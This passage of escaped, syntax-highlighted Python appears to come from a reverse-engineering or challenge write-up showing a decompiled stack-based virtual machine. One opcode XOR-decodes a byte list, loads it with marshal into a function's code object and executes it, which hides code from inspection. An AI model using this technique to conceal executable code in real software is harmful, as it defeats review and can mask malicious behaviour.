style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                        \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                            \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Division by zero\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                            \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eappend\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ea\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                            \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                        \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                            \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                            \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e!=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epro\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#111\"\u003eprint\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003echr\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()),\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eend\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                    \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003enot\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#00a8c8\"\u003eraise\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003eException\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;Stack underflow\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003es\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#00a8c8\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#75af00\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e():\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                                \u003cspan style=\"color:#00a8c8\"\u003ereturn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e__code__\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003emarshal\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eloads\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ebytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e([\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ekey\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eb\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eunlucky\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003epop\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)]))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#111\"\u003ef\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#111\"\u003epc\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                        \u003cspan style=\"color:#00a8c8\"\u003eelse\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e# inserted\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                                                            \u003cspan style=\"color:#00a8c8\"\u003ecase\u003c/span\u003e \u003cspan 